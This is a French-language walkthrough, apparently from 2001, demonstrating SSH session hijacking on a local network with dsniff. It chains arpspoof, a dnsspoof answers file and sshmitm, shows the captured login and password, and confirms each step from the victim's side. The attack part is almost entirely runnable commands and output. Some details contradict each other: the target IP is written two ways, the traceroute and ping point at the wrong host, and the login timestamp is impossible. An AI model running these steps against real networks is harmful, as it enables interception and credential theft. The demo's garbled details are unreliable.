------------ [ sebastien ] ----------------------------------------------------------------- Demonstration de detournement de session SSH =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Utilisation de la suite d'utilitaires de dsniff http://naughty.monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz banux : 10.0.0.1 Mac : 0:1:2:9f:a2:dd seb : 10.0.0.2 Mac : 0:1:2:9f:d5:38 os : linux 2.4.x gateway : 10.0.0.42 Mac : 0:1:2:b2:fa:c5 trusted.net : 213.58.63.59 Nous allons nous loguer du poste de banux sur trusted.net en ssh. A]+++++++++++++++++++++++++++++ La premiere etape a realiser est d'utiliser arpspoof pour detourner le traffic en provenance de la machine de banux vers la gate via la machine de seb : root@seb ~# arpspoof -i eth0 -t 10.0.0.1 10.0.0.42 0:1:2:9f:d5:38 0:1:2:9f:a2:dd 0806 42: arp reply 10.0.0.42 is-at 0:1:2:9f:d5:38 0:1:2:9f:d5:38 0:1:2:9f:a2:dd 0806 42: arp reply 10.0.0.42 is-at 0:1:2:9f:d5:38 0:1:2:9f:d5:38 0:1:2:9f:a2:dd 0806 42: arp reply 10.0.0.42 is-at 0:1:2:9f:d5:38 0:1:2:9f:d5:38 0:1:2:9f:a2:dd 0806 42: arp reply 10.0.0.42 is-at 0:1:2:9f:d5:38 ... B]++++++++++++++++++++++++++++++++ Ensuite, nous allons utiliser dnsspoof pour spoofer des reponses dns aux requetes emises par banux. Pour cela nous creeons d'abord un fichier contenant les reponses a spoofer : root@seb ~# echo 10.0.0.2 trusted.net > dns.txt root@seb ~# dnsspoof -i eth0 -f dns.txt src 10.0.0.1 dnsspoof: listening on eth0 [src 10.0.0.1] 10.0.0.1.1600 > 10.0.0.42.53: 3859+ A? trusted.net ... Il nous reste a killer le sshd tournant sur notre hote et a lancer sshmitm de maniere a rediriger la connexion vers le bon hote. C]+++++++++++++++++++++++++++++++++ root@seb ~# killall -9 sshd root@seb ~# sshmitm -p 22 213.53.63.59 22 sshmitm: relaying to 213.53.63.59 ----------------- 06/05/01 13:54:26 tcp 10.0.0.1.1881 -> 213.53.63.59.22 (ssh) login password C^c root@seb ~# +++++++++++++++++++++++++++++++++++++++++++++++++++++ Voyons voir ce qu'il s'est passe du cote de banux : A]+++++++++++++++++ Une fois que arpspoof a ete lance, pour acceder a la gateway la machine de banux nous utilise comme intermediaire. banux@banux ~$ traceroute -m 2 -n 10.0.0.42 traceroute to 10.0.0.42 (10.0.0.42), 2 hops max, 40 bytes packets 1 10.0.0.1 0.84 ms 0.652 ms 0.563 ms 2 10.0.0.42 0.112 ms 0.756 ms 0.684 ms banux@banux ~$ B]+++++++++++++ Grace a dnsspoof, nous allons intercpeter les requetes DNS emises par banux: banux@banux ~$ ping -c 1 trusted.net PING trusted.net (10.0.0.1): 56 data bytes 64 bytes from 10.0.0.1: icmp_seq=0 ttl=255 time=0.6 ms --- 10.0.0.1 ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss rount-trip min/avg/max = 0.6/0.6/0.6 ms banux@banux ~$ C]+++++++++++++++ Enfin, grace a sshmitm, nous "sniffons" la session ssh lancee par banux: banux@banux ~$ ssh login@trusted.net login@trusted.net's password: password Last login: Fri Jun 1 17:25:78 2001 from 192.168.1.5 Linux 2.2.19. No mail. %DCL-MEM-BAD, bad memory VMS-F-PDGERS, pudding between the ears trusted:~$ Et voila ... sebas7ien@msn.com